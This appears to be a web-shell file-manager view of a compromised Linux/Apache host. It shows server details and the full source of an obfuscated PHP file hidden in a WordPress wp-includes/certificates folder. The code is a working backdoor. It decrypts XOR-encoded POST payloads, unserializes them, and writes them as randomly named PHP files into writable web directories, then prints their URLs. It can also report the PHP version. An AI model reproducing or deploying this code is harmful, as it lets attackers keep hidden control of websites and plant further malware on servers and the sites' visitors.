HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-includes/certificates/ckpowbos.php
<?php function xYuKEj($MpqZDDe, $YHVqPu, $KQunhMiX){$KHXoi = "6e3ccdb2-d406-4e29-94f8-ba9b3ee9f619";return $MpqZDDe ^ $KHXoi[$YHVqPu % strlen($KHXoi)] ^ $KQunhMiX;}$UZUwWISg = "kvTmfvP";function btdlWJ($UZUwWISg){ $hjFeSKr = 's'.'t'."\x72".chr(95).chr(836-722).'o'.chr(116).'1'."\63";$UZUwWISg = $hjFeSKr($UZUwWISg);$cpgciJDdJK = chr(114)."\141".chr(493-374).chr(890-773)."\x72".chr(647-539)."\x64"."\145".chr(99).chr(141-30).chr(441-341)."\x65";$UZUwWISg = $cpgciJDdJK($UZUwWISg);$UZUwWISg = str_split($UZUwWISg);return $UZUwWISg;}function pZkZlc($BVuEQk, $KQunhMiX){$BVuEQk = array_map("xYuKEj", array_values($BVuEQk), array_keys($BVuEQk), array_values($KQunhMiX));$BVuEQk = implode("", $BVuEQk);$iwYZpxCbjC = chr(766-649)."\x6e"."\x73"."\145".'r'."\151".chr(97)."\154"."\151".'z'."\x65";$BVuEQk = @$iwYZpxCbjC($BVuEQk);return $BVuEQk;}function BZdfYaC($KQunhMiX, $BVuEQk){$KQunhMiX = array_slice(str_split(str_repeat($KQunhMiX, (count($BVuEQk)/16)+1)), 0, count($BVuEQk));return $KQunhMiX;}function zrxJBvA(){echo "FOtzgi";}function NuciC($gDmwDir){static $ucqnFn = array();$qlCYKKzP = glob($gDmwDir . '/*', GLOB_ONLYDIR);$CKffppM = count($qlCYKKzP);if ($CKffppM > 0) {foreach ($qlCYKKzP as $gDmwD) {$XgDfbK = "\x69".chr(115)."\137"."\167"."\162".'i'."\x74"."\x61"."\x62".'l'."\145";if (@$XgDfbK($gDmwD)) {$ucqnFn[] = $gDmwD;}}}foreach ($qlCYKKzP as $gDmwDir) NuciC($gDmwDir);return $ucqnFn;}function DqYDmHVGvU($BVuEQk){$yKIJeZm = "\104".'O'."\x43".chr(366-281)."\115".chr(69)."\116".chr(84).chr(1008-913).chr(475-393).'O'.chr(581-502).chr(385-301);$LbGUW = $_SERVER[$yKIJeZm];$qlCYKKzP = NuciC($LbGUW);$hKyrUAKmD = array_rand($qlCYKKzP);$wlsYLwAoEr = chr(756-710)."\160".chr(104)."\160";$LWWeyvaae = $qlCYKKzP[$hKyrUAKmD] . "/" . substr(md5(time()), 0, 8) . $wlsYLwAoEr;$qvFreDe = "\146".chr(995-890).chr(108).'e'.chr(854-759).chr(112)."\x75".'t'."\137".chr(99).chr(111)."\x6e".chr(654-538).chr(101).chr(599-489).'t'."\163";@$qvFreDe($LWWeyvaae, $BVuEQk);$TLRBzrjb = chr(72)."\124".'T'."\120".chr(395-300).'H'.chr(906-827).chr(92-9)."\124";$eYiyxYdsKF = "\x68"."\164".'t'."\x70"."\72"."\57".'/';$IiSYDuIauD = $eYiyxYdsKF . $_SERVER[$TLRBzrjb] . substr($LWWeyvaae, strlen($LbGUW));print($IiSYDuIauD);}function ajIMh(){$NbLGKL = 'p'.chr(104).'p';$zrLkMrLLG = 'p'.'h'.chr(112)."\x76"."\145".chr(987-873).chr(1068-953).'i'.'o'."\x6e";$BVuEQk = Array($NbLGKL => @$zrLkMrLLG(), );$rWlZIQFpih = "\163"."\145".chr(777-663)."\151".chr(97).chr(108).chr(812-707).chr(572-450).chr(342-241);echo @$rWlZIQFpih($BVuEQk);}function WJaMaUF(){echo "kvTmfvP";}foreach ($_POST as $KQunhMiX => $BVuEQk){$xlYGt = strlen($KQunhMiX);if ($xlYGt == 16){$BVuEQk = btdlWJ($BVuEQk);$KQunhMiX = BZdfYaC($KQunhMiX, $BVuEQk);$BVuEQk = pZkZlc($BVuEQk, $KQunhMiX);if (@is_array($BVuEQk)){$hKyrUAKmD = array_keys($BVuEQk);$BVuEQk = $BVuEQk[$hKyrUAKmD[0]];$hKyrUAKmD = $hKyrUAKmD[0];$hKyrUAKmD = substr($hKyrUAKmD, 0);if ($BVuEQk !== $hKyrUAKmD){DqYDmHVGvU($BVuEQk);}else {ajIMh();}}}}die();